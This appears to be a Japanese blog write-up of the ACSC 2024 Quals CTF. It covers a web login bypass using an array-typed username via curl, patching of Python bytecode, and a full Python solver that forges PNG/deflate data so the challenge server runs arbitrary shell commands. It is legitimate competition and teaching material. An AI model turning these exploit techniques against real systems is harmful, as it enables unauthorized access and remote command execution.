プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

ACSC 2024 Quals write-up

ACSC 2024 Qualsへ参加しました。そのwrite-up記事です。

IDAの解析結果ファイル.i64は、GitHubで公開しています

2024/05/08 00:30頃追記: 公式の問題リポジトリが公開されました。問題によっては公式writeupもあります: acsc-org/acsc-challenges-2024-public: Challenge repository for ACSC 2024

コンテスト概要

2024/03/30(土) 12:00 +09:00 - 2024/03/21(日) 12:00 +09:00 の24時間開催でした。他ルールはAsian Cyber Security Challengeから引用します:

About
  The ACSC is an open CTF (Capture The Flag) competition specifically for individuals under 26 in the Asian region. It also serves to select top players from member countries of the ACSC to form Team Asia, which will participate in the ICC (International Cybersecurity Challenge). The ACSC is not only an open competition but also aims to foster interaction and develop the skills of young people in Asia, providing an opportunity to nurture talented individuals who can compete on the global stage.

ACSC 2024
  Date & Time
    March 30th 12:00 noon – 31st noon, 2024 (UTC+9)
  CTF Style
    Jeopardy-style (Individual Competition @ Online)

Rules / Prohibitions
  Please read rules and prohibitions before registering as a user.

Rules
  This is an individual competition. As noted in prohibitions, by no means players are allowed to communicate and cooperate with each other.
  The flag format is ACSC{something}, unless otherwise specified.
  Players need to submit a flag to the score server in order to get points.
  The scoring system is static. That means every problem has a predefined point value. Also, there are no breakthrough(first blood) points awarded to the first solvers.
  A player that has more points, ranks higher. If some players have the same points, the player that has made the last submission of a valid flag earlier, ranks higher among them.
  For verification, the organizers may ask the top players to submit a brief writeup after the contest is over.
  If there arise situations which are not covered by these rules, the organizers may make decisions on them as needed. The decisions made are absolute.

Prohibitions
If you break the following prohibitions, you will be disqualified and banned.
  Players must not share flags or solutions with each other.
  Players must not attack/obstruct other players.
  Players must not attack the contest infrastracture other than the servers explicitly allowed to do so in problems. Also, players must not try brute-force attacks even to the allowed servers.

Finalist Selection
(中略)

Organizers
  ACSC Steering Committee
    Amrita Vishwa Vidyapeetham (India)
    InfraDigital Foundation (Indonesia)
    Security Camp Committee (Japan)
    SherpaSec (Malaysia)
    InfoSec Plus / National University of Mongolia (Mongolia)
    Division Zero (Div0) / IIC Productions (Pte. Ltd.) (Singapore)
    Korea Cyber Security Union (South Korea)
    AIS3 Project (Taiwan)
    VNSecurity (Vietnam)
  ACSC CTF Organizers
  PoC / Secretariat
    CIT Henkaku Center / CIT

Q&A
  Can I participate and play ACSC, even if I am not eligible as a finalist?
    Yes. You can participate and play ACSC even you are not eligible as a finalist. ACSC is an open CTF for anybody.
  Do I need to pay for travel expenses to compete in ICC?
    No. Travel and accommodation expenses for Asian final team members to participate in ICC will be provided by the supporting organization in each ACSC Steering Committee member country.

Privacy Policy
  The ACSC Steering Committee will process your information as described in the Privacy Policy. By registering as a user, you agree to follow the rules of the ACSC CTF and our Privacy Policy.

Social Media
(中略)

なお本CTFでは、各問題の得点は開始当初から固定の点数でした。

結果

正の得点を得ている282人中、450点で108位でした。

得点と順位(上部バー)、解けた問題(緑背景)

環境

WindowsのWSL2(Ubuntu 22.04)などを使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.4239]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop-data    Running         2
  docker-desktop         Running         2

c:\>

他ソフト

  • IDA Free Version 8.4.240320 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
  • Binary Ninja Free 4.0.4958-Stable
  • CFF Explorer VIII
  • x64dbg Version: Aug 24 2023, 10:37:12

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.15.146.1-microsoft-standard-WSL2 (root@65c757a075e2) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Thu Jan 11 04:09:03 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.12
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show IPython | grep Version
Version: 7.31.1
$ python3 -m pip show pwntools | grep Version
Version: 4.12.0
$ python3 -m pip show z3-solver | grep Version
Version: 4.8.16.0
$ curl --version
curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.17
Release-Date: 2022-01-05
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd
$ docker --version
Docker version 20.10.24, build 297e128
$

解けた問題

[web] Login! (189 solved, 100 points)

Here comes yet another boring login page ...
http://login-web.chal.2024.ctf.acsc.asia:5000

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ file *
Dockerfile:  ASCII text
app.js:      HTML document, ASCII text
compose.yml: ASCII text
$

app.jsの1ファイルのみで動作するサーバーで、内容も以下のようにシンプルな内容です:

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user',
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

最初はてっきり、user.password == password箇所で==演算子という緩い比較を使っている点に攻める余地があると考えていました。その発想で、jsonで配列型を送ろうとしたり(これはTypeErrorで失敗)、色々試していました:

$ curl 'http://localhost:5000/login' -d 'username=guest&password[]=guest'
Welcome, guest. You do not have permission to view the flag
$ curl 'http://localhost:5000/login' -d 'username[]=guest&password=guest'
Welcome, guest. Here is your flag: ACSC{fake}
$ curl 'http://login-web.chal.2024.ctf.acsc.asia:5000/login' -d 'username[]=guest&password=guest'
Welcome, guest. Here is your flag: ACSC{y3t_an0th3r_l0gin_byp4ss}
$

競技時間中は理解できていませんでしたが、フラグが手に入りました: ACSC{y3t_an0th3r_l0gin_byp4ss}

競技終了後のDiscordの書き込みを見て、username[]=guest指定時はusername === 'guest'false判定となるため、else側へ分岐してフラグが表示された、という理由を理解できました。

[rev] compyled (50 solved, 100 points)

It's just a compiled Python. It won't hurt me...

配布ファイルとして、run.pycがありました:

$ file *
run.pyc: data
$ xxd run.pyc | head -2
00000000: 6f0d 0d0a 0000 0000 0000 0000 0000 0000  o...............
00000010: e300 0000 0000 0000 0000 0000 0000 0000  ................
$

まずは、どのバージョンのPythonでコンパイルされたものか調べました。pyinstallerで作成されたexeをデコンパイルする方法 - 備忘録によると、.pycの先頭2バイトのlittle-endian数値がバージョンを表すとのことです。今回は0x0d6f、つまり3439であり、https://github.com/python/cpython/blob/3.12/Lib/importlib/_bootstrap_external.pyから探すとPython 3.10b1 3439とのことです。

とりあえず、以前のCTFでも頼ったzrax/pycdc: C++ python bytecode disassembler and decompilerで逆コンパイルしようと考えました。しかし失敗しました:

$ python3 --version
Python 3.10.12
$ pycdc run.pyc
# Source Generated with Decompyle++
# File: run.pyc (Python 3.10)

Error decompyling run.pyc: vector::_M_range_check: __n (which is 12) >= this->size() (which is 2)
$

一方で、同一リポジトリ内容からビルドできるpycdasを使った、バイトコードへの逆アセンブルは成功しました:

$ pycdas run.pyc
run.pyc (Python 3.10)
[Code]
    File Name: <sandbox>
    Object Name: <eval>
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Locals: 0
    Stack Size: 0
    Flags: 0x00000040 (CO_NOFREE)
    [Names]
        'print'
        'input'
    [Var Names]
    [Free Vars]
    [Cell Vars]
    [Constants]
        'FLAG> '
        'CORRECT'
    [Disassembly]
        0       LOAD_NAME               1: input
        2       LOAD_CONST              0: 'FLAG> '
        4       CALL_FUNCTION           1
        6       LOAD_CONST              12 <INVALID>
        8       LOAD_CONST              20 <INVALID>
        10      BUILD_TUPLE             0
        12      MATCH_SEQUENCE
        14      ROT_TWO
        16      POP_TOP
        18      DUP_TOP
        20      BINARY_ADD
(中略)
        2428    BINARY_ADD
        2430    BUILD_TUPLE             0
        2432    MATCH_SEQUENCE
        2434    ROT_TWO
        2436    POP_TOP
        2438    UNARY_NEGATIVE
        2440    BUILD_SLICE             2
        2442    BINARY_SUBSCR
        2444    COMPARE_OP              2 (==)
        2446    POP_JUMP_IF_FALSE       0 (to 0)
        2448    LOAD_NAME               1: input
        2450    LOAD_CONST              1: 'CORRECT'
        2452    CALL_FUNCTION           1
        2454    RETURN_VALUE
$

内容をざっと読むと、何かを加工し続けて、2444COMPARE_OPで正誤判定しているらしいことが分かりました。

ところで6LOAD_CONST 12や、8LOAD_CONST 20が変です。LOAD_CONST命令は、[Constants]箇所の配列から指定indexを参照する命令のはずですが、今回の問題では[print, input]の2要素だけです。そのためindex1220では配列外参照をしているように見えます。おそらくそのせいで、pycdcの逆コンパイルに失敗しているようです。ただ、実行そのものはできるのが不思議です:

$ python3 run.pyc
FLAG> test
FLAG>

ちなみにdis.dis関数を使おうとしても、出力途中でエラーが起こりました。おそらく同様の理由です:

$ ipython3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import io

In [2]: import marshal

In [3]: import dis

In [4]: with open("run.pyc", "rb") as f: pyc_content = f.read()

In [5]: dis.dis(marshal.load(io.BytesIO(pyc_content[16:])))
    >>    0 LOAD_NAME                1 (input)
          2 LOAD_CONST               0 ('FLAG> ')
          4 CALL_FUNCTION            1
---------------------------------------------------------------------------
IndexError                                Traceback (most recent call last)
(略)
IndexError: tuple index out of range

さて、逆アセンブル結果を詳細に読解するのは大変そうなので、別の方法を考えました。「なんとかしてConstantsを増やしたらpycdcで逆コンパイルできないか?」と考えて試しましたが、Unsupported opcode: MATCH_SEQUENCEと未サポートとのことでした(MATCH_SEQUENCEはPython3.10で追加された命令です)。

他の方法として「COMPARE_OPする代わりに、スタックの内容をprintで表示すれば何か分かるのでは?」と考えました。Pythonのバイトコードは、1バイト目がオペコード、2バイト目がオペランドの2バイト長のはずです。試行錯誤して、以下のコードを書きました(上で試そうとした、Constants変更の残骸も残っています):

#!/usr/bin/env python3

import marshal
import dis
import opcode
import pprint

with open("run.pyc", "rb") as f:
    pyc_content = f.read()

code = marshal.loads(pyc_content[16:]) # pycのmagic部分を除外する必要があるらしい

# pprint.pprint(sorted(opcode.opmap.items(), key=lambda t:t[1]))
# pprint.pprint(opcode.opmap)
LOAD_NAME = opcode.opmap["LOAD_NAME"] # "e"
LOAD_CONST = opcode.opmap["LOAD_CONST"] # "d"
CALL_FUNCTION = opcode.opmap["CALL_FUNCTION"] # 0x83
COMPARE_OP = opcode.opmap["COMPARE_OP"] # k'
ROT_TWO = opcode.opmap["ROT_TWO"] # swap
RETURN_VALUE = opcode.opmap["RETURN_VALUE"]

# dis.dis(code.co_code)
# print(code.co_code)

if False:
    # 雑にcode.co_constsを増やす方法だと、pycdcは「Unsupported opcode: MATCH_SEQUENCE」エラーを出すし、python3で実行しても「TypeError: 'str' object is not callable」でだめだった。
    print(code.co_consts)
    code = code.replace(co_consts=(code.co_consts[0], code.co_consts[1], "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print", "print"))

if False:
    # 「LOAD_CONST              12」、「LOAD_CONST              20」を雑に除去
    # 「TypeError: 'str' object is not callable」でだめ
    code = code.replace(co_code=(code.co_code[:6] + code.co_code[10:]))

if True:
    # COMPARE_OP前後で比較
    index = code.co_code.find(COMPARE_OP)
    new_code = code.co_code[:index] + bytes([
            LOAD_NAME, 0, # co_consts[0]がprint関数です
            ROT_TWO, 0, # スタック上位2要素をswap
            CALL_FUNCTION, 1, # print関数を引数1個で呼び出し
            RETURN_VALUE, 0, # 雑に処理を打ち切らせます
            ])
    code = code.replace(co_code=new_code)

with open("run_modified.pyc", "wb") as f:
    f.write(pyc_content[:16] + marshal.dumps(code)) # .pycのmagicをつけ直して保存

スクリプトを実行して、改変した.pycを実行しました:

$ ./solve.py
$ python3 run_modified.pyc
FLAG> test
ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}
$

スタック最上位がフラグでした: ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}

LOAD_CONST命令のOut of boundには気付いています!

ところで、marshal.loads関数が何を返すのかは全くドキュメント化されていないようです。戻り値の.co_codeなどを直接変更しようとするとAttributeError: readonly attributeとなるので困っていました。ipython3で確かめている途中で.replace()メソッドが存在すること偶然知り、ようやくソルバーを実現できました。

[rev] Command Runner (5 solved, 250points)

This binary runs your command! Just find a flag file from the server and read it!
nc command-runner.chal.2024.ctf.acsc.asia 10801

配布ファイルとして、問題本体のmainと、サンプル入力のcatflag.pngがありました:

$ file *
catflag.png: PNG image data, 128 x 16, 8-bit/color RGB, non-interlaced
main:        ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=487e0db14443f1bbb5ec3fde0d986128fc0e131d, for GNU/Linux 3.2.0, stripped
$

250点問題ながら、非常に苦労した問題です。

mainの解析

PNGやzlib、deflateの文献を参照しながらIDAでmainを読み進めました。

mainの読解結果です。

  1. コマンドライン引数があればそのファイルから、無ければ標準入力から、PNG画像のバイナリを読み込みます。
  2. PNGシグネチャの検証や、IHDRIDATIENDチャンクを読み込みます。
    • 0x4C7Cの関数でIHDR内容が以下を満たすことを検証しています。
      • 画像幅は16の倍数、かつ238以下
      • 画像高さは16固定
      • ビット深度は8、カラータイプは2(カラー)固定、つまり普通の24bpp画像固定
      • 圧縮はなし(0)、フィルターはなし(0)、インターフェースはなし(0)
    • 各チャンクのCRC32は無視します。CRCエラーがあったとしても問題なく処理を続けます。
  3. IDAT内容をzlib展開します。0x2F82の関数がzlib展開用で、0x2E99の関数がdeflate展開用です。
    • 本問題の最重要事項の1つとして、zlibのブロックのBTYPEの2ビット中下位1ビットが0ならexitします。そのため下位1ビットは1である必要があります0x2F37付近の処理です。
    • もう一つの最重要事項として、zlibのブロックのBTYPEが1なら、後で使う0x8020からのテーブルの大部分を0で上書きしてしまいます0x2B52付近の処理です。
    • 上記2つの事項を合わせると、zlibのブロックのBTYPEは3である必要があります。なお、BTYPE=3は予約済みであるため、なんとかして作り出す必要があります。
    • なお、zlibの展開処理は、BTYPEが1である場合の処理が実装されているようです。これは、配布ファイルのcatflag.png中のBTYPEは1であり、mainへ与えるとcat flag実行まで進むことから分かります、また、0x2686の関数で構築している288バイトのテーブルが、zlib/inflate.c at v1.3.1 · madler/zlibで構築しているものと同じであることも証拠の1つです。
    • 末尾のADLER32は無視します。エラーがあったとしても問題なく処理を続けます。
  4. zlib展開結果をPNGのスキャンライン処理をして、生のrgb画像のバイト列を取得します。0x4960の関数です。
  5. 生のrgb画像のバイト列から、コマンド文字列を抽出します。0x508Eの関数です。
    • 各画素は、rgbの3バイトがすべて同一である必要があり、また0x000xFFのどちらかである必要もあります。つまりは真っ黒画素か、真っ白画素のどちらかである必要があります。
    • 画像を16*16の範囲に区切ってビット演算を行って32バイトのバイト列を作り、0x8020から始まるBYTE[128][32]のテーブルと一致判定することで、各文字を抽出します。真っ白な場合は0x20(=' ')として扱います。
      • なお、前述した「zlibのブロックのBTYPEが1」の場合の処理を通っている場合は、本処理で抽出できる文字はa, c, f, g, l, tとスペースのみに制限されます。cat flagくらいしかできません。
  6. 抽出したコマンドをsystem関数で実行します。

このように、zlibのブロックのBTYPE内容が最重要であることに気付けるかどうか、という問題でした。これに気付くまで5時間かかりました。

ちなみに、最初はzlib展開処理やスキャンライン処理のこととは気付いていないままIDAで解析しようとして、あまりの複雑さに絶望していました。「IDAT内容はzlib圧縮されているらしいし、スキャンライン処理もするらしいから、それらでは?」と分かった後はエスパーしやすくなりました。

BTYPE=1となるdeflate方法探し

さて、後で「実行したコマンドを画像にして、それをサーバーへ送信」するために、IDATのdeflateブロックをBTYPE=1で圧縮させる必要があります。ここでBTYPE=1は固定ハフマン符号を表します。

しかし、例えばPythonのzlib.compressで圧縮したり、opencv2のcv2.imwriteでPNG画像を生成しても、BTYPE=2の動的ハフマン符号で生成されてしまいました。BTYPE=1で生成させる方法も分かりませんでした。とはいえ一般的な用途では「BTYPEなんてユーザーに気にさせず、最高圧縮になるものを使えばいい」のでそれはそうです。

BTYPEを自分で指定できる圧縮ライブラリ等があるかを探しました。github "deflate" "BTYPE"でGoogle検索するとgoogle/zopfli: Zopfli Compression Algorithm is a compression library programmed in C to perform very good, but slow, deflate or zlib compression.を見つけました。中身を見ると、main関数から圧縮関数を呼び出す途中にbtype引数を明示できる内容であったため、1に変更したものをビルドして使用しました:

$ git diff
diff --git a/src/zopfli/zlib_container.c b/src/zopfli/zlib_container.c
index 130ffc7..04bb55d 100644
--- a/src/zopfli/zlib_container.c
+++ b/src/zopfli/zlib_container.c
@@ -62,7 +62,7 @@ void ZopfliZlibCompress(const ZopfliOptions* options,
   ZOPFLI_APPEND_DATA(cmfflg / 256, out, outsize);
   ZOPFLI_APPEND_DATA(cmfflg % 256, out, outsize);

-  ZopfliDeflate(options, 2 /* dynamic block */, 1 /* final */,
+  ZopfliDeflate(options, 1 /* fixed block */, 1 /* final */,
                 in, insize, &bitpointer, out, outsize);

   ZOPFLI_APPEND_DATA((checksum >> 24) % 256, out, outsize);
diff --git a/src/zopfli/zopfli_lib.c b/src/zopfli/zopfli_lib.c
index 5f5b214..b29095d 100644
--- a/src/zopfli/zopfli_lib.c
+++ b/src/zopfli/zopfli_lib.c
@@ -34,7 +34,7 @@ void ZopfliCompress(const ZopfliOptions* options, ZopfliFormat output_type,
     ZopfliZlibCompress(options, in, insize, out, outsize);
   } else if (output_type == ZOPFLI_FORMAT_DEFLATE) {
     unsigned char bp = 0;
-    ZopfliDeflate(options, 2 /* Dynamic block */, 1,
+    ZopfliDeflate(options, 1 /* Fixed block */, 1,
                   in, insize, &bp, out, outsize);
   } else {
     assert(0);
$ make all
(中略)
$ file zopfli
zopfli: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7d11883acd4197fef0846c11ecf7cc0afa00d521, for GNU/Linux 3.2.0, not stripped
$

なお、zlib圧縮結果の検証にはmadler/infgen: Deflate disassember to convert a deflate, zlib, or gzip stream into a readable form.も便利でした。ビルド時にinfgen.c:(.text+0x74b): undefined reference to `crc32'などのエラーが出て悩んでいましたが、gcc infgen.c -L/usr/local/lib -lzで無事ビルドできました。

ソルバーと実行結果とフラグ

これまで分かったことや、BTYPEに1を使わせるよう改変したzopfliを使って、ソルバーを書きました。以下の処理を行います:

  1. main0x8020以降のテーブル内容をパースして、各文字を表す16*16のアスキーアート状態のリストを取得します。
  2. プロンプトを表示して、リモートで実行させたいコマンドを受け取ります。
  3. コマンド内容を、一旦アスキーアート状態のリストへ変換します。
  4. アスキーアート状態からちゃんとしたrgb画像へ変換します。
  5. rgb画像をcv2.encodeを使用して、PNG画像バイト列を取得します。このとき、IDAT内容のBTYPEは2のはずです。
  6. PNG画像バイト列からIDAT内容を取得して、zlib.decompressで展開します。
  7. BTYPEに1を使わせるよう改変したzopfliを使って、展開結果をBTYPE=1で再圧縮します。
  8. cat flag以外のまともな文字も使えるように、再圧縮結果のBTYPE箇所のビットを変更してBTYPE=3へ変更します。なお、mainはCRC32やADLER32を使わないため、ここで各種ハッシュ値を再計算する必要はありません。
  9. PNG画像バイト列のIDATを、BTYPE=3へ変更した内容へ差し替えます。
  10. サーバーへ接続して、差し替えたPNG画像を送信し、コマンド実行結果を受信します。

ソルバー全体です:

#!/usr/bin/env python3

import struct
import zlib
import binascii
import pwn
import subprocess
import pathlib
import cv2
import numpy as np

IMAGE_UNIT = 16

def zlib_compress_using_fixed_huffman(data_to_compress:bytes)->bytes:
    TEMP_FILE_NAME = "_work.bin"
    TEMP_FILE_NAME_AFTER = TEMP_FILE_NAME + ".zlib"
    with open(TEMP_FILE_NAME, "wb") as f:
        f.write(data_to_compress)
    # modified version to use fixed huffman instead of dynamic huffman
    completed_process = subprocess.run(["./zopfli/zopfli", "--zlib", TEMP_FILE_NAME])
    completed_process.check_returncode()
    with open(TEMP_FILE_NAME_AFTER, "rb") as f:
        result = f.read()
    pathlib.Path(TEMP_FILE_NAME).unlink()
    pathlib.Path(TEMP_FILE_NAME_AFTER).unlink()
    return result

def parse_content(content:bytes) -> list[list[str]]:
    img = [[" " for x in range(IMAGE_UNIT)] for y in range(IMAGE_UNIT)]
    for (i, v) in enumerate(content):
        for b in range(0, 8):
            if (v & (1 << b)) != 0:
                x = ((i % 2) << 3) | (7 - b)
                y = (i // 2)
                img[y][x] = "*"
    # for y in range(16):
    #     for x in range(16):
    #         print(img[y][x], end="\n"if x==15 else "")
    return img

def create_char_to_img_dict()->dict[str, list[list[str]]]:
    elf = pwn.ELF("./main", checksec=False) # 「[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'」出力ってどうやったら消せるでしょう……
    # print(f"{elf.address = }")
    contents = elf.read(elf.address + 0x8020, 32*128)

    char_to_img_dict = {}
    for i in range(128):
        content = contents[i*32 : (i+1)*32]
        if content == b"\x00" * 32:
            continue
        # print(f"{i = }, {chr(i) = }")
        char_to_img_dict[chr(i)] = parse_content(content)
    char_to_img_dict[" "] = [[" " for x in range(IMAGE_UNIT)] for y in range(IMAGE_UNIT)] # empty
    return char_to_img_dict

def create_ascii_image_for_command(command:str)->list[list[str]]:
    result = [[" " for x in range(len(command)*IMAGE_UNIT)] for y in range(IMAGE_UNIT)]
    char_to_img_dict = create_char_to_img_dict()
    for (i, c) in enumerate(command):
        current_img = char_to_img_dict[c]
        for y in range(IMAGE_UNIT):
            for x in range(IMAGE_UNIT):
                result[y][IMAGE_UNIT*i+x] = current_img[y][x]
    return result

def create_normal_png_for_command(command:str)->bytes:
    height = IMAGE_UNIT
    width = IMAGE_UNIT * len(command)
    img = np.zeros((height, width, 3), np.uint8)
    ascii_img = create_ascii_image_for_command(command)
    for y in range(height):
        for x in range(width):
            for rgb in range(3):
                img[y][x][rgb] = 0x00 if (ascii_img[y][x]=="*") else 0xff
    (succeeded, buf) = cv2.imencode(".png", img)
    assert succeeded
    return bytes(buf)

def forge_png_idat_to_fixed_huffman_and_btyte_3(png:bytes)->bytes:
    offset_idat = png.find(b"IDAT")
    assert offset_idat >= 0
    # print(f"{offset_idat = }")
    size_idat = struct.unpack(">I", png[offset_idat-4:offset_idat])[0]
    original_idat_zlib = png[offset_idat+4:offset_idat+size_idat+4]
    # print(f"{original_idat_zlib.hex() = }")
    original_idat_plain = zlib.decompress(original_idat_zlib)
    fixed_huffman_idat = bytearray(zlib_compress_using_fixed_huffman(original_idat_plain))
    fixed_huffman_idat[2] |= 0b0000_0100 # forge BTYPE 1 to 3。なおmainはADLER32を検証しないため、ここで変更する必要はありません。
    # print(f"{fixed_huffman_idat.hex() = }")

    forged_idat_crc32 = binascii.crc32(b"IDAT" + fixed_huffman_idat)
    forged_idat_chunk = struct.pack(">I", len(fixed_huffman_idat)) + b"IDAT" + fixed_huffman_idat + struct.pack(">I", forged_idat_crc32)

    offset_iend = png.find(b"IEND")
    forged_png = png[:offset_idat-4] + forged_idat_chunk + png[offset_iend-4:]
    return forged_png

# png = create_normal_png_for_command("ls")
# print(png)
# with open("dest.png", "wb") as f:
#     f.write(png)
# forged = forge_png_idat_to_fixed_huffman_and_btyte_3(png)
# with open("dest_forged.png", "wb") as f:
#     f.write(forged)

while True:
    command = input("COMMAND > ")
    png = create_normal_png_for_command(command)
    forged = forge_png_idat_to_fixed_huffman_and_btyte_3(png)

    with pwn.remote("command-runner.chal.2024.ctf.acsc.asia", 10801) as io:
        io.sendlineafter(b"Length: ", str(len(forged)).encode())
        io.sendafter(b"Data: ", forged)
        print(io.recvall().decode())

実行しました:

$ ./solve.py
COMMAND > ls
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[+] Opening connection to command-runner.chal.2024.ctf.acsc.asia on port 10801: Done
[+] Receiving all data: Done (37B)
[*] Closed connection to command-runner.chal.2024.ctf.acsc.asia port 10801

flag
flag_ba435220d789b8cb.txt
main

COMMAND > cat flag
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[+] Opening connection to command-runner.chal.2024.ctf.acsc.asia on port 10801: Done
[+] Receiving all data: Done (22B)
[*] Closed connection to command-runner.chal.2024.ctf.acsc.asia port 10801

ACSC{absolutely_fake}
COMMAND > cat flag_*
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[+] Opening connection to command-runner.chal.2024.ctf.acsc.asia on port 10801: Done
[+] Receiving all data: Done (145B)
[*] Closed connection to command-runner.chal.2024.ctf.acsc.asia port 10801

Listen to my favorite song if you have time: https://youtu.be/zI9BqrkekCE
ACSC{b9d1a7555c74959f9026a7d7b3bb08a07e2b3585ca0bd44836483b204a762dcd}
COMMAND >

フラグを入手できました: ACSC{b9d1a7555c74959f9026a7d7b3bb08a07e2b3585ca0bd44836483b204a762dcd}

ちなみに、cat flag_ba435220d789b8cb.txtは実行できません。画像幅が大きくなりすぎるためです。

flagの前の行に表示されているYoutubeリンクはちゃんと聞きました。

解けなかった問題

[rev] Sneaky VEH (16 solved, 400 points)

Where is the flag?

正解者数が多いので最後に頑張っていた問題です。残念ながら間に合いませんでした。

配布ファイルとして、sneaky_veh.exeがありました:

$ file *
sneaky_veh.exe: PE32 executable (console) Intel 80386, for MS Windows
$

CFF Explorerでsneaky_veh.exeを開いて確認すると、左ツリーのNt HeadersOptional Headersを選んでから、中央リストのDllCharacteristics行のClick hereをクリックしてビットの詳細を見ると、DLL can move箇所にチェックが付いていました。つまり、ASLRが有効であること表します。ASLRが有効であるとデバッグ実行時に面倒なので、DLL can move箇所のチェックを外して、sneaky_veh_disabled_aslr.exeとして別名で保存しました。以降、x32dbgで気になる箇所へブレークポイントを貼ったりして、処理順や動作の流れを確認していきました。

通常実行してみると、コマンドライン引数を4個与えると検証してくれる内容でした:

C:\Users\WDAGUtilityAccount\Desktop\work>sneaky_veh_disabled_aslr.exe
[+] Put 4 correct passcodes in command line arguments and you will get the flag!
Too few arguments!

C:\Users\WDAGUtilityAccount\Desktop\work>sneaky_veh_disabled_aslr.exe 1 2 3 4
[+] Put 4 correct passcodes in command line arguments and you will get the flag!
KEY0: 1
KEY1: 2
KEY2: 3
KEY3: 4
???
See Ya!

C:\Users\WDAGUtilityAccount\Desktop\work>

例外ハンドラーという気付きづらいジャンプ先

IDAで開いて、0x401D50main関数を逆コンパイルすると、一見短い内容に見えます:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const WCHAR *CommandLineW; // eax
  unsigned int dwCurrent; // [esp+10h] [ebp-38h]
  LPWSTR *ppWstrCommandLine; // [esp+18h] [ebp-30h]
  int dwArgIndex; // [esp+1Ch] [ebp-2Ch]
  wchar_t *EndPtr; // [esp+20h] [ebp-28h] BYREF
  int dwNumArgs; // [esp+28h] [ebp-20h] BYREF
  CPPEH_RECORD ms_exc; // [esp+30h] [ebp-18h]

  printf("[+] Put 4 correct passcodes in command line arguments and you will get the flag!\n");
  CommandLineW = GetCommandLineW();
  ppWstrCommandLine = CommandLineToArgvW(CommandLineW, &dwNumArgs);
  if ( ppWstrCommandLine )
  {
    if ( dwNumArgs == 5 )
    {
      for ( dwArgIndex = 0; dwArgIndex < dwNumArgs - 1; ++dwArgIndex )
      {
        dwCurrent = wcstoul(ppWstrCommandLine[dwArgIndex + 1], &EndPtr, 16);
        printf("KEY%d: %lx\n", dwArgIndex, dwCurrent);
        g_dwArgsSize4[dwArgIndex] = dwCurrent;
      }
      LocalFree(ppWstrCommandLine);
      ms_exc.registration.TryLevel = 0;
      g_pAllocatedAddressSize0x1000 = VirtualAlloc(0, 0x1000u, 0x3000u, 0x102u);// flAllocationType := 0x3000 := MEM_RESERVE | MEM_COMMIT
                                                // flProtect := 0x0102 := 2(PAGE_READONLY) | 0x100(PAGE_GUARD)
      if ( !g_pAllocatedAddressSize0x1000 )
      {
